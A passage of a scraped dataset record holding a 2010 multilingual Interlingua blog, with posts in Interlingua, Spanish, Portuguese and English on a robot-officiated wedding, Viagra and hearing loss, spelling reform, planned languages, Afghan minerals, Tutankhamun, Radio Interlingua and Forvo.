0.017420785501599312, \"toj_Latn_score\": 0.012834321707487106, \"por_Latn_score\": 0.012572934851050377, \"crh_Latn_score\": 0.012375525198876858, \"gug_Latn_score\": 0.01192561537027359, \"enl_Latn_score\": 0.010801265947520733}","num_words":303,"character_repetition_ratio":0.151,"word_repetition_ratio":0.082,"special_characters_ratio":0.16,"stopwords_ratio":0.129,"flagged_words_ratio":0.0,"lang_id_score":0.35,"perplexity_score":13288.8,"cluster_detection":-1} +{"text":"Tuesday, June 29, 2010\n(Languages of this post: Interlingua, Spanish, English)\nUn robot con le nomine I Fairy officiava per prime vice in un maritage in Japon, declarante in le capital de Japon, Tokyo, que Tomohiro Shibata e su fidantiata, Satoko Inoue, esseva marito e mulier.\nInoue travaliava in le compania que fabrica le robot, e su marito es un cliente del compania e professor del robotica in un universitate japonese.\nIn realitate, iste robot se usa pro guidar personas qui visita museos e expositiones. Ma con solmente un programma special e un corona de flores in le capite, iste robot anque pote officiar in maritages.\nComo illes se cognosceva a causa del robots in lor vitas, explicava le copula, il pareva a illes assatis natural que un de illos officiarea in su ceremonia de maritage.\n\"Io sempre sentiva que le robots se integrarea de plus in plus in le vita del personas\", diceva Inoue. \"Iste robot versatile es parte de mi compania, e io decideva que me placerea multissimo si un de illos esseva presente in mi ceremonia.\"\nLe insolite ceremonia habeva loco in le tecto de un restaurant del capital japonese.\nIn Japon \"vive\" quasi le medietate del 800.000 robots que il ha in le mundo, e on crede que le industria de iste apparatos eventualmente habera un valor de US$10.000 mille milliones.\nIn ultra, le japonese es un del societates que invetera plus rapidemente, de maniera que le robots es vidite per alicunes como un adjuta al vetules, specialmente in travalios de nettamento e assistentia.\n---\nUna pareja japonesa utiliza un robot para oficiar en su ceremonia de matrimonio.\nUn robot, llamado I Fairy, protagonizó por primera vez un casamiento en Japón, declarante marido y mujer en la capital de Japón, Tokio, a Tomohiro Shibata y a su novia, Satoko Inoue.\nInoue trabaja en la empresa que fabrica el robot y su marido es cliente de la compañía y profesor de robótica en una universidad japonesa.\nEn realidad, este robot se usa para guiar a las personas que visitan museos y exposiciones. Pero con sólo un programa especial y una corona de flores en la cabeza, este robot también puede realizar casamientos.\nComo los robots fueron los que los unieron, explicó la pareja, les pareció algo natural que uno de ellos oficiara la boda.\n\"Siempre sentí que los robots se integrarán cada vez más a la vida de las personas\", dijo Inoue. \"Este bonito versátil es parte de mi compañía y decidí que me encantaría que estuviera en mi ceremonia.\"\nLa insólita ceremonia tuvo lugar en la azotea de un restaurante de la capital nipona.\nEn Japón \"viven\" casi la mitad de los 800.000 robots que hay en el mundo, y se cree que la industria de estos aparatos llegará a tener un valor de US$10.000 mil millones.\nAdemás, la japonesa es una de las sociedades que envejecen más rápido, por lo que los robots son vistos por algunos como una ayuda para los ancianos, en especial en trabajos de limpieza y atención.\n---\nA Japanese couple uses a robot to officiate at their marriage ceremony.\nA robot, named I Fairy, presided for the first time over a marriage in Japan, declaring in the capital of Japan, Tokyo, that Tomohiro Shibata and his fiancée, Satoko Inoue, were man and wife.\nInoue works for the company that manufactures the robot, and her husband is one of the company's customers and a professor of robotics at a Japanese university.\nAs a matter of fact, this robot is used to guide people who visit museums and exhibitions. But with only a special program and a wreath of flowers on its head, this robot can also perform marriages.\nSince robots were what got them together, the couple said, it seemed only natural that one of them should officiate at the wedding.\n\"I always felt that robots are increasingly integrated into people's lives,\" said Inoue. \"This versatile robot is part of my company and I decided that I would love to have it in my ceremony,\" said Inoue.\nThe unusual ceremony took place on the roof of a restaurant in the capital of Japan.\nAlmost half of the 800,000 robots in the world \"live\" in Japan, and the industry believes that these devices will be worth $10 billion.\nIn addition, Japan is one of the fastest aging societies, and the robots are seen by some as an aid to the elderly, especially in cleaning and care.\nPosted by hkyson at 6:11 PM\nSaturday, June 26, 2010\n(Languages of this post: Interlingua, Portuguese, English)\nUn studio del Universitate de Alabama, in le Statos Unite, descoperiva que homines qui usa Viagra e possibilemente altere remedios contra le disfunction erectile, como Cialis e Levitra, duplica lor riscos de eventualmente perder lor audition.\nLe resultatos del analyse de plus que 11,5 mille casos de homines con plus que 40 annos esseva publicate in le ultime edition del magazin \"Archives of Otolaryngology\", ben que le autores accentua que lor conclusiones es provisori.\nBen que iste studio ha su limitationes, secundo su autores il es prudente que pacientes qui usa iste medicamentos sia advertite sur signales e symptomas de deficiencia auditive e incoragiate a cercar attention medic immediate pro preparar se contra damnos potentialmente permanente a lor sentito de audition.\nUn alerta contra le possibilitate del perdita auditive esseva promulgate in 2007 per le Food and Drug Administration, que regula le uso de medicamentos in le Statos Unite, post le revelation que diverse studios que accentuava le relation inter le perdita de audition e le uso de drogas como Viagra.\nLe studio actual es le prime que es epidemiologic e que evalua le relation inter le uso de iste drogas e le eventual perdita de audition.\nInter le limitationes del studio, citate per su proprie autores, se trova un monstra limitate de usuarios de tadafil e vardenafil, le possibile carentia de precision in le informationes sur le frequentia in le uso del medicamento, e pre-conditiones que poterea contribuer al perdita de audition.\n---\nO uso de viagra pode ser muito perigoso para a sua sensação de audição.\nUm estudo da universidade do Alabama, nos Estados Unidos, descobriu que homens que usam Viagra e possivelmente outros remédios contra disfunção erétil, como Cialis e Levitra, têm um risco duas vezes mais de acabar perdendo muito a sua audição.\nOs resultados da análise de mais de 11,5 mil casos de homens com mais de 40 anos foram publicados na última edição da revista \"Archives of Otolaryngology\", embora os autores enfatizam que suas conclusões são provisórias\nEmbora o estudo tenha limitações, segundo seus autores é prudente que pacientes usando esses medicamentos sejam advertidos sobre sinais e sintomas de deficiência auditiva e incentivados a procurar atenção médica imediata para se prevenir contra danos potencialmente permanentes.\nUm alerta contra a possibilidade de perda auditiva foi feita em 2007 pela Food and Drug Administration, que regulamenta o uso de medicamentos nos Estados Unidos, após a divulgação de vários estudos que reforçavam a relação entre perda de audição e uso de drogas como o Viagra.\nO estudo atual é o primeiro epidemiológico a avaliar a relação entre o uso destas drogas e a perda eventual de audição.\nEntre as limitações do estudo, citadas pelos próprios autores, estão a amostragem limitada de usuários de tadalafil e vardenafil, a possível falta de precisão nas informações sobre a frequencia no uso do medicamento e pré-condições que poderiam contribuir para a perda de audição.\n---\nThe use of viagra may be very dangerous to your sense of hearing.\nA study by the University of Alabama in the United States found that men who use Viagra and possibly other erectile dysfunction drugs such as Cialis and Levitra, have twice as much of a risk of finally losing a lot of their hearing.\nThe results of the analysis of more than 11,500 cases of men over 40 years old were published in the latest edition of the journal Archives of Otolaryngology,\" although the authors emphasize that their conclusions are tentative.\nAlthough the study has limitations, its authors admit, it is prudent for patients using these medications to be warned about signs and symptoms of hearing loss and encouraged to seek immediate medical attention to guard against potentially permanent damage.\nA warning about the possibility of hearing loss was issued in 2007 by the Food and Drug Administration (FDA), which regulates the use of medicines in the United States, following disclosure of several studies that stressed the relationship between hearing loss and use of drugs like Viagra .\nThe current study is the first to assess the epidemiological relationship between these drugs and the eventual loss of hearing.\nAmong the study limitations cited by the authors themselves, are the limited sample of users of vardenafil and tadalafil, the possible lack of accuracy in the information about the frequency of drug use and pre-conditions that could contribute to hearing loss.\nPosted by hkyson at 2:32 AM\nSaturday, June 19, 2010\nLe reformas orthographic de Aender Dos Santos poterea utilisar se como un utensilio pedagogic multo utile pro inseniar le orthographia traditional.\nIllo pote servir como un \"dictée\" francese (scribite in vice de oral) si on lo utilisava como un stimulo pro producer le responsa de un transcription del mesmo texto in le orthographia traditional.\nOn anque poterea facer le mesme cosa con le anglese. Io crede que on ha usate le \"Initial Teaching Alphabet\" de iste maniera (on anque poterea usar ulle altere orthographic reformate pro producer le mesme resultato).\nPosted by hkyson at 1:54 PM\nAender Dos Santos ha proponite un interessante reforma pro le orthographia portugese traditional que es vermente revolutinari. Como le systema orthographic de interlingua, illo elimina signos supersignate. E a differentia de interlingua, illo sempre indica le syllaba tonic de un parola.\nIo scribeva al sito de Aender de Facebook un breve nota exprimente mi admiration pro su reformas proponite. Ille me respondeva con un altere nota scribite in le version de interlingua que ille usa in iste momento (Si vos vole leger le presentation complete del reformas de Aender, vade a http:\/\/revolusam-ortograafica.blogspot.com):\n\"Gratias pro haber legite mie projecto revolutionari del 'cacographia' del lingua portugese, que assi se renderea le lingua brazilian.\n\"Jo vide que il ha un difficultate re illo proque le personas time que in legente lo illes pote 'disapprender' le maniera canonic de scriber le lingua. Isto es partialmente le veritate, sed jo crede que sol al personas que non ha un base solide re le cognoscentia del lingua.\n\"Jo creava iste revolution quasi como s'io esseva in febrilitate. Jo comenciava e non poteva stoppar. Tote mi horas, durante alcun septimanas esseva prendite per le necessitate de crear lo, anque le somno esseva perturbate, jo me eveliava con le capite plen de ideas pro realisar.\n\"Sed un idea face collision contra le altere e on debe haber plus ideas... il non es facile, sed il es un labor intelectual multo interessante.\n\"Certemente ni toto es creation de mi capite, jo consultava grammaticas historic, le chansons del galleco-portugese, altere propositiones de reformation, textos antique, etc.\n\"Sed toto comenciava con le proposition re que le lingua deberea perder tote su signos diacritic. Isto es un del plus grande difficultates al parlantes del lingua e jo voleva finir lo.\n\"Le resultato general me place, s'illo non pote esser usate per le societate tote, jo pensa que illo pote esser utilisate como un amusamento linguistic o un lingua brazilian intra le lingua portugese official.\"\nEcce un parve texto in le orthographia reformate de Aender:\n\"Um dos primeiros erros ce todos os ce se propoen a reformar a 'cacografiya' da lingua portugeza cometen he a substituisam da letra C pela letra K, cuando acela he segida de I i E, ou mesmo de A, O i U. Atente para uma fraze como a seginte: 'quem quer o cão que quis comer o osso?' Jeralmente a transformaraon em 'kem ker o kão ke kis komer o osso?'\n\"Ese uzo da letra K torna o testo pezado vizualmente, nosos ollos nam estam acostumados com esa letra, ce nunca teve uzo corrente na lingua brazileira. Nese cazo, persebe-se tambem o uzo do segundo criterio da revolusam, o da tradisam vizual, ce veremos posteriormente.\n\"Na ortografiya revolusionaria a fraze asima se torna: 'cem cer o cam ce cis comer o oso?' Pergunto a todos: nam he um testo mais 'leve' de se ler? Alguns objetaraon ce o uzo da letra C para todos os uzos do fonema [k] pode cauzar confuzam, prinsipalmente antes do E i do I.\n\"Mas iso he soo uma cestam de costume. Cuantos ao aprenderen o ABC na escola, na hora de resitar as siilabas formadas com a letra C nam dizian: ca, ce (que), ci (qui), co, cu (nesa hora todos rian, pois o palavram era inevitavel...). Iso vem corroborar a teze de ce as criansas sam mellores fonetisistas ce os adultos.\n\"Lembroume um fato ocorrido cuando peceno na escola, mas com a letra S com o som de Z, outro absurdo da cacografiya portugeza. A profesora haviya acabado de ensinar ce o S entre duas vogais soa como Z.\n\"Segiu-se um ditado. A sala inteira, como bons carneirinnos sendo domesticados, asertou o ditado. Menos um, houve um colega ce escreveu todo o ditado com Z: caza, roza, etc.\n\"A profesora axou um absurdo, a sala axou engrasado ele ter 'errado' tudo. Oje em dia vejo ce ele he ce tinna asertado e noos todos he ce tiinnamos errado.\n\"Entam, vamos todos asertar no uzo da letra C, Z ou cualcer outra ce a revolusam tenna proposto como alternativa aa cacografiya iloojica ce temos de utilizar oje em dia.\"\n\"Ese uzo da letra K torna o testo pezado vizualmente, nosos ollos nam estam acostumados com esa letra, ce nunca teve uzo corrente na lingua brazileira. Nese cazo, persebe-se tambem o uzo do segundo criterio da revolusam, o da tradisam vizual, ce veremos posteriormente.\n\"Na ortografiya revolusionaria a fraze asima se torna: 'cem cer o cam ce cis comer o oso?' Pergunto a todos: nam he um testo mais 'leve' de se ler? Alguns objetaraon ce o uzo da letra C para todos os uzos do fonema [k] pode cauzar confuzam, prinsipalmente antes do E i do I.\n\"Mas iso he soo uma cestam de costume. Cuantos ao aprenderen o ABC na escola, na hora de resitar as siilabas formadas com a letra C nam dizian: ca, ce (que), ci (qui), co, cu (nesa hora todos rian, pois o palavram era inevitavel...). Iso vem corroborar a teze de ce as criansas sam mellores fonetisistas ce os adultos.\n\"Lembroume um fato ocorrido cuando peceno na escola, mas com a letra S com o som de Z, outro absurdo da cacografiya portugeza. A profesora haviya acabado de ensinar ce o S entre duas vogais soa como Z.\n\"Segiu-se um ditado. A sala inteira, como bons carneirinnos sendo domesticados, asertou o ditado. Menos um, houve um colega ce escreveu todo o ditado com Z: caza, roza, etc.\n\"A profesora axou um absurdo, a sala axou engrasado ele ter 'errado' tudo. Oje em dia vejo ce ele he ce tinna asertado e noos todos he ce tiinnamos errado.\n\"Entam, vamos todos asertar no uzo da letra C, Z ou cualcer outra ce a revolusam tenna proposto como alternativa aa cacografiya iloojica ce temos de utilizar oje em dia.\"\nEcce iste mesme texto in le orthographia traditional del portugese:\n\"Um dos primeiros erros que todos os que se propõem a reformar a 'cacografia' da língua portuguesa cometem é a substituição da letra C pela letra K, quando aquela é seguida de I e E, ou mesmo de A, O e U. Atente para uma frase como a seguinte: 'quem quer o cão que quis comer o osso?' Geralmente a transformarão em \"kem ker o kão ke kis komer o osso?\"\n\"Esse uso da letra K torna o texto pesado visualmente, nossos olhos não estão acostumados com essa letra, que nunca teve uso corrente na língua brasileira. Nesse caso, percebe-se também o uso do segundo critério da revolução, o da tradição visual, que veremos posteriormente.\n\"Na ortografia revolucionária a frase acima se torna: 'cem cer o cam ce cis comer o oso?' Pergunto a todos: não é um texto mais 'leve' de se ler? Alguns objetarão que o uso da letra C para todos os usos do fonema [k] pode causar confusão, principalmente antes do E e do I.\n\"Mas isso é só uma questão de costume. Quantos ao aprenderem o ABC na escola, na hora de recitar as sílabas formadas com a letra C não diziam: ca, ce (que), ci (qui), co, cu (nessa hora todos riam, pois o palavrão era inevitável...). Isso vem corroborar a tese de que as crianças são melhores foneticistas que os adultos.\n\"Lembrou-me um fato ocorrido quando pequeno na escola, mas com a letra S com o som de Z, outro absurdo da cacografia portuguesa. A professora havia acabado de ensinar que o S entre duas vogais soa como Z.\n\"Seguiu-se um ditado. A sala inteira, como bons carneirinhos sendo domesticados, acertou o ditado. Menos um, houve um colega que escreveu todo o ditado com Z: caza, roza, etc.\n\"A professora achou um absurdo, a sala achou engraçado ele ter 'errado' tudo. Hoje em dia vejo que ele é que tinha acertado e nós todos é que tínhamos errado.\n\"Então, vamos todos acertar no uso da letra C, Z ou qualquer outra que a revolução tenha proposto como alternativa à cacografia ilógica que temos de utilizar hoje em dia.\"\nPosted by hkyson at 1:18 PM\nNordien es un lingua planificate create per le micronation Nordia, un pais imaginari que se trova in un certe parte del Europa del Nord. Le lingua es germanic, como le anglese, le germano, le hollandese, e alteres, ma simplificate e regularisate.\n(Nordien ere en plansprak skepte for de mikronasjon Nordia, en forstelig land va skul ligen anvar i nordig Europa. De sprak ere germanig, lik Engelska, Dutsska, Nederlandska, ent andere, men enfakirte ent regularirte.)\n(Nordien is a planned language created for the micronation Nordia, an imaginary land which would lie somewhere in northern Europe. The language is Germanic, like English, German, Dutch, and others, but simplified and regularized.)\n---\n(Nota: il pare que on non ha disveloppate Nordien usque le puncto que on ha disveloppate slovianski, que non se ha disveloppate usque le puncto que on ha disveloppate interlingua, que non se ha disveloppate usque le puncto que on ha disveloppate Esperanto. Ma iste \"interlinguas\" slave e germanic, con un curso de disveloppamento sufficiente, poterea esser multo utile como manieras de preparar se pro studiar le altere linguas del familias slave e germanic, respectivemente.)\nPosted by hkyson at 11:24 AM\nDe maniera que interlingua es un lingua planificate sur un base del latino, le linguas romanic, e le anglese, il es possibile construer altere \"interlinguas\" pro altere familias de linguas. Slovianski es un \"interlingua\" interessante pro le linguas slave. Pro informationes ulterior sur slovianski, vos pote vader a http:\/\/steen.free.fr\/slovianski.\nSlovianski es un interlingua slave create in 2006 como le effortio collaborative de un gruppo de personas de diverse paises qui se reuniva in le Foro Slovianski. Illo pote adjuvar multo viagiatores e pote essser un utensilio multo utile pro illes qui se interessa communicar se con omne le mundo slave via sitos de Internet, foros, listas de posta, etc., sin deber traducer un texto a in diverse linguas. Con un cognoscimento del lingua un persona potera communicar con ulle usator de un lingua slave e comprender plus que le signification basic de un texto in ulle lingua slave. Slovianski es un methodo excellente pro illes qui vole comenciar a studiar lor prime lingua slave [como le studio de interlingua es un excellente maniera de comenciar le studio de su proprie linguas fonte].\nEcce un traduction de iste texto a in slovianski, que pote scriber se o in le alphabeto roman o le alphabeto cyrillic:\nSlovjanski je slovjanski medžujazik iztvorjeni v gode 2006 kak sotrudnične usilje grupi ljudov iz rozličnih krajev, sbiranih v Slovianski Forum. On može biti velika pomoč dlja putujučih i mnogo upotrebime orudje dlja libo-kogo, ktori bi hotel adresovati celi slovjanski svet posredstvom vebsajtov, forumov, spisov e-mejlskih i.t.d., bez potrebovanja prevoditi tekst v rozne jaziki. Znanje togo jazika umožlivi človeku biti rozumemi dlja libo-ktorogo govoritelja slovjanskogo jazika i rozumeti vjačej, než tolko osnovu teksta v libo-ktorom slovjanskom jazike. Slovjanski tož je mnogo dobra metoda dlja tih, ktore hočut načati učiti se svoj pervi slovjanski jazik.\nСловянски е словянски меджуязик изтворьени в годе 2006 как сотрудничне усилье групи людов из розличних крайов, сбираних в Словянски Форум. Он може бити велика помоч для путуючих и много употребиме орудье для либо-кого, ктори би хотел адресовати цели словянски свет посредством вебсайтов, форумов, списов э-мейлских и.т.д., без потребованя преводити текст в розне язики. Знанье того язика уможливи чловеку бити розумеми для либо-кторого говорителя словянского язика и розумети вячей, неж толко основу текста в либо-ктором словянском язике. Словянски тож е много добра метода для тих, кторе хочут начати учити ся свой перви словянски язик.\nPosted by hkyson at 10:52 AM\nMonday, June 14, 2010\n(Languages of this post: Interlingua, English)\nLe \"New York Times\" ha publicate un articulo que dice que Afghanistan ha ingente depositos de minerales como ferro, cupro, cobalt, e auro. Iste depositos es tan grande e include tante minerales que es essential al industria moderne que Afghanistan eventualmente poterea transformer se a in un del plus importante productores de minerales in le mundo.\nLe russos comenciava a discoperir iste ricchessa de minerales e lo documentava. Lor documentation facilitava le discoperimentos de geologos american del ingente depositos de minerales in Afghanistan.\nSecundo le \"Times\", le depositos le plus grande discoperite usque nunc in ille pais es de ferro e cupro, e le quantitates es assatis grande pro converter Afghanistan a in un importantissime productor de ambe minerales. Altere discoperimentos include grande depositos de niobium, un metallo molle usate in le production de un aciero superconductive. On ha anque discoperite grande depositos de auro in le Pakistan meridional.\nSolmente iste mense, geologos american qui forma parte del equipa del fortias militar statounitese dice que probabilemente il ha grande depositos de lithium in le Afghanistan occidental. Illes dice que in un parte del provincia de Ghazni de Afghanistan probabilemente il ha depositos tan grande como illos de Bolivia, que in iste momento ha le reservas de lithium le plus grande del mundo.\nEventualmente iste discoperimentos pote provocar un guerra inter le Statos Unite e China proque ambe paises habera besonio de iste minerales pro lor disveloppamento industrial in le futuro. China specialmente vole disvellopar su capacitate pro producer automobiles electric. Lithium es un elemento essential pro lor accumulatores, e China, naturalmente, vole le lithium de Bolivia. Con le tempore le chineses anque volera le lithium de Afghanistan.\n---\nThe \"New York Times\" has published an article saying that Afghanistan has huge deposits of minerals such as iron, copper, cobalt, and gold. These deposits are so large and include so many minerals that are essential to modern industry that Afghanistan eventually could become one of the most important mineral producers in the world.\nThe Russians started to discover this mineral wealth and documented it. Their documentation facilitated the discoveries by American geologists of the gigantic mineral deposits in Afghanistan.\nAccording to the \"Times,\" the largest deposits discovered up to now in that country are of iron and copper, and the quantities are large enough to make Afghanistan a very important producer of both minerals. Other discoveries include large depostis of niobium, a soft metal used in the production of a superconductive steel. Large deposits of gold have also been discovered in southern Pakistan.\nOnly this month American geologists forming part of a team of American military forces say that probably there are large deposts of lithium in western Afghanistan. They say that in a part of Afghanistan's Ghazni province there proabaly are deposits as large as the ones in Bolivia, which at this moment has the largest lithium reserves in the world.\nEventually these discoveries could provoke a war between the United States and China because both countries will need these minerals for their industrial development in the future. China especially wants to develop its capacity for producing electric automobiles. Lithium is an essential element for their batteries, and China, naturally, wants Bolivia's lithium. In time, the Chinese will also want Afghanistan's lithium.\nPosted by hkyson at 7:56 PM\n(Languages of this post: Interlingua, Portuguese, English)\nLe pharaon Egyptian Tutankhamun pote haber morite de malaria combinate con un rar infection in le ossos, suggere un studio publicate in le magazine scientific \"Journal of the American Medical Association\".\nLe scientistas, ducite per le archeologo chef de Egypto, Zahi Hawass, passava duo annos studiante le restos mummificate del pharaon, qui moriva a 19 annos, e de altere mummias pertenecente al familia regal, inclusive le granpatre e le patre de Tutankhamen. Lor methodo principal esseva studiar monstras de DNA extrahite de ille mummias.\nIn le analyse del DNA del pharaon, le recercatores trovava signales del parasito de malaria--le plus vetule proba genetic del maladia jam identificate. Ultra illo, le studio anque suggere que Tutankhamun pote haber suffrite de un inflammation rar del ossos, appellate le Maladia de Kohler.\nSecundo le recercatores, ille discoperimentos explicava pro que esseva trovate pecias de ligno inter le possessions de Tutankhamun, que poterea haber essite usate como bastones que permitteva que ille camminava a pede.\nDesde le discoperimento de su tumba, multe academicos ha speculate sur le motivo de su morte prematur. Alicunes suggere que ille pote haber essite traite e assassinate.\nAltere theorias suggere que ille pote haber essite colpite per un cochi o que ille poterea haber suffrite de un maladia genetic proque ille moriva juvene e non produceva heredes.\nAlicun artifactos del epocha monstra que le regales habeva un apparentia curvate e feminin, lo que, secundo alicun academicos, esserea typic de conditiones hereditari como le syndrome de Marfan, characterisate per membros longe.\nMa le equipa de Hawass rejecta ille explicationes. Le explication offerite per le studio suggere que Tutankhamun habeva rumpite le gamba un pauco ante morir. A causa del maladia, le osso non haberea essite curate de un maniera adequate, lo que haberea provocate un infection.\nSecundo le hypothese suggerite per le studio, con le corpore jam fragile e susceptibile a infectiones, le infection de malaria eventualmente probava a esser fatal pro le pharaon.\n---\nTutancâmon morreu de malária e infecção óssea, diz estudo.\nO faraó egípcio Tutancâmon pode ter morrido de malária combinada com uma rara infecção nos ossos, sugere um estudo publicado na revista científica \"Journal of the American Medical Association\".\nOs cientistas, liderados pelo arqueólogo-chefe do Egito, Zahi Hawass, passaram dois anos pesquisando os restos mumificados do faraó, que morreu aos 19 anos, e de outras dez múmias pertencentes à família real, inclusive a avó e o pai de Tutancâmon. Seu método principal era estudar amostras de DNA extraído dessas múmias.\nNa análise do DNA do faraó, os pesquisadores encontraram sinais do parasita da malaria--a mais antiga prova genética da doença já identificada. Além disso, o estudo sugere ainda que Tutancâmon poderia ter sofrido de uma inflamação rara nos ossos, chamada de Doença de Kohler.\nSegundo os pesquisadores, essas descobertas explicariam porque foram encontrados cajados e pedaços de madeira entre os pertences de Tutancâmon, que poderiam ter sido usados como bastões que lhe permitiu andar a pé.\nDesde a descoberta de seu túmulo, muitos acadêmicos têm especulado sobre o motivo de sua morte prematura. Alguns sugerem que ele pode ter sido traído e assassinado.\nOutras teorias sugerem que ele poderia ter sido atropelado por uma charrete ou que ele poderia ter sofrido de uma doença genética, porque ele morreu jovem e não deixou herdeiros.\nAlguns artefatos da época mostram que a realeza tinha uma aparência curvada e feminina, o que, segundo alguns acadêmicos, seria típico de condições hereditárias como a síndrome de Marfan, caracterizada por membros longos.\nMas a equipe de Hawass rejeita essas explicações. A explicação oferecida pelo estudo sugere que Tutancâmon teria quebrado a perna pouco antes de morrer. Por conta da doença, o osso não teria sido curado de maneira adequada, o que teria provocado uma infecção.\nSegundo a hipótese sugerida pela pesquisa, com o corpo já fragilizado e suscetível à infecções, a infecção por malária eventualmente provou ser fatal para o faraó.\n---\nTutankhamun died of malaria and bone infection, a study says.\nThe Egyptian pharaoh Tutankhamun may have died of malaria combined with a rare bone infection, suggests a study published in the \"Journal of the American Medical Association.\"\nThe scientists, led by Egypt's chief archaeologist, Zahi Hawass, spent two years researching the mummified remains of the pharaoh, who died at age nineteen, and ten other mummies belonging to the royal family, including the grandmother and father of Tutankhamen, to extract DNA samples. Their principal method was studying DNA samples extracted from these mummies.\nIn DNA analysis of the Pharaoh, the researchers found signs of the malaria parasite--the oldest evidence of genetic disease already identified. In addition, the study also suggested that Tutankhamun may have suffered from a rare bone inflammation, called Kohler's Disease.\nAccording to the researchers, these findings explain why rods and pieces of wood were found among the belongings of Tutankhamun, which could have been used as canes enabling him to walk.\nSince the discovery of his tomb, many academics have been speculating about the reason for his untimely death. Some suggest that he may have been betrayed and murdered.\nOther theories suggest that he could have been hit by a carriage or that he could have suffered from a genetic disease since he died young and left no heirs.\nSome artifacts from the time show that the royals had a curved, feminine appearance, which, according to some scholars, would be typical of hereditary conditions such as Marfan syndrome, characterized by long limbs.\nBut Hawass's team rejected these explanations. The explanation offered by the study suggests that Tutankhamun would have broken his leg shortly before his death. Because of the disease, the bone would not have been set properly, thus leading to an infection.\nAccording to the hypothesis suggested by the survey, since his body was already weakened and susceptible to infections, the malaria infection eventually proved to be fatal for the pharaoh.\nPosted by hkyson at 2:19 AM\nWednesday, June 9, 2010\nRadio Interlingua es un excellente fonte de novas sur interlingua e de documentation de su pronunciation. Pro personas qui comencia lor studio de interlingua, un transcription scribite de iste emissiones essera multo utile, e io spera que tosto on los preparara e montara a Internet de maniera que omne le ascoltatores de Radio Interlingua pote leger e ascoltar los.\nRadio Interlingua pote esser ascoltate directemente de www.interlingua.com. On pote discargar lo como podcast\nEmission de novembre, 2009:\nContento: Interview de Thomas Breinstrup con Ingvar Stenstöm sur le sequente 12nde Incontro Nordic de Interlingua in 2010, Calmar, Svedia; Thomas Breinstrup parla sur le formato digital del revista \"Panorama\"; notas sur correctores orthographic de interlingua in le programma computatorial pro rediger textos Open Office in le navigator Mozilla Firefox.\nEmission de decembre, 2009:\nContento: Interview con Eric Enfors, vice-secretario del Societate Svedese pro Interlingua, prime parte; actualitates de interlingua: Thomas Breinstrup, redactor de Panorama, parla sur activitates possibile pro interlingua al die de interlingua (le 15 de januario).\nEmission de januario, 2010:\nContento: Actualitates de interlingua: Sven Frank, secretario general del Union Mundial pro Interlinua, parla sur activitates possibile pro interlingua in le nove anno; interview con Eric Enfors, vice-secretario del Societate Svedese pro Interlingua, secunde parte.\nEmission de februario, 2010:\nContento: Actualitates de interlingua per Thomas Breinstrup (Danmark); reporto de Sven Frank (Germania) sur su experientias con interlingua in Espania; interview con Martijn Dekker (Nederland) in le 11me Incontro Nordic de Interlingua, Linköping, Svedia, 2008, prime parte.\nEmission de martio, 2010:\nContento: Interview con Martijn Dekker (Nederland) in le 11me Incontro Nordic de Interlingua, Linköping, Svedia, 2008, secunde parte.\nEmission de april, 2010:\nContento: Actualitates de interlingua per Péter Kovàcs e Thomas Breinstrup; novas in interlingua per Martijn Dekker.\nPosted by hkyson at 7:43 PM\nTuesday, June 8, 2010\n(Languages of this post: Interlingua, English)\nIn april, 2009, io discoperiva un sito web interessante, denominate Forvo: un dictionario public con le pronunciationes in voce de omne le parolas de multes del linguas del mundo. Illo es un excellente ressource pro personas qui vole apprender ulle de iste linguas. Usante iste sito, on pote audir le parolas pronunciate per parlantes native.\nAl minus, isto esseva le ambition declarate in le sito. Ma interlingua non se includeva in le lista de linguas disponibile. Ergo io me creava un conto in le sito (nomine de usator: \"McDutchie\") e contactava le gerentes. Subitemente, ab le 5 de maio, 2009, io me trovava redactor principal de interlingua pro Forvo.\nAl momento de scriber, le sito contine circa duo milles de parolas pronunciate in interlingua, con le voces de me personalmente, Erik Enfors (\"Torrente\") de Svedia, Josu Lavin de Espania, Gabriele Maranca de Argentina, e alteres.\nParticipation:\nOmnes pote participar in le systema e contribuer pronunciationes. Le sol requerimentos es un computator con un microphono functionante e un bon cognoscentia del pronunciation de interlingua. Le systema es autoexplicative e simple a usar.\nLe sito es projectate specificamente pro permitter le varietate in accentos regional. Si un parola jam ha essite pronunciate, on es totevia invitate a adder un altere pronunciation, si on pote contribuer un differente accento o un melior qualitate.\nVariantes:\nBen que il existe plure variantes de pronunciation in le communitate de interlinguistas, pro novicios il pote esser confundente trovar diverse pronunciationes inconsistente.\nErgo, in Forvo io vole mantener un standard consistente, i.e., le pronunciation como describite per IALA, sin optiones collateral. Isto vole dicer que on debe pronunciar le \"c\" ante vocales \"e\" e \"i\" como \"ts\", e le \"g\" sempre dur (excepte in le suffix \"-age\" e certe altere parolas).\nIsto es un altere cosa que le differerentia inter accentos national. Le accentos es naturalmente permittite, pro non mentionar inevitabile.\nE, clarmente, le regula de Forvo que le pronunciation deberea preferibilemente esser de parlantes native del lingua in question non es applicabile a interlingua--al minus pro iste generation de parlantes.\nDistribution Libere:\nQui vole contribuer pronunciationes al sito debe primo comprender que isto es un projecto public e que le pronunciationes pote legalmente esser usate per altere personas a un base non commercial.\nPro facilitar isto, omne le pronunciationes es publicate sub le conditiones de un licentia de \"Creative Commons\". Iste licentia contine stipulationes exacte pro uso e distribution. Vide le adresse del web al fin de iste articulo pro le detalios exacte.\nLe signification del nomine \"Forvo\":\n\"Forvo\" pare esser un parola estranie, non cognoscite in ulle lingua. Nemo cognosce le signification. In un articulo in un bulletin de novas del 16 de Julio, 2008, le gerentes del sito mantene un aere secrete circa isto. Un contributor commentava que le significato poterea esser \"For Vocalization\" in anglese, e Forvo respondeva que isto es \"multo proxime\" al veritate.\nLe lingua del sito web:\nBen que le lista de pronunciationes in interlingua es jam longe, le sito web mesme non es disponibile in interlingua--al minus nunc. Quando io deveniva le redactor pro interlingua, io requestava que le gerente del sito me permitte facer un traduction in interlingua del texto del sito. Ma le gerente respondeva que ille prefereva concentrar se primo in su publication in le linguas major.\nConclusion:\nBen que il resta ancora milles de parolas a pronunciar, le sito Forvo jam es un bon guida de pronunciation pro novicios de interlingua.\nSimplemente cerca un parola in le sito e, si illo se include in le dictionario, vos pote audir le pronunciation con un sol clic. E contribuer nove pronunciationes es tan facile como crear un nove conto in le sito.\nIn conclusion, io spera que vos gaudera de iste nove modo de apprender interlingua, e forsan alicunos de vos addera vostre proprie voces a iste grande dictionario de pronunciation!\nLe addresses web:\nhttp:\/\/forvo.com\/languages\/ia (parolas pronunciate in interlingua)\nhttp:\/\/pronuncionary.com\/ (bulletin de novas, in anglese)\nhttp:\/\/creativecommons.org\/licenses\/by-nc-sa\/3.0\/deed.nl (conditiones de distribution e 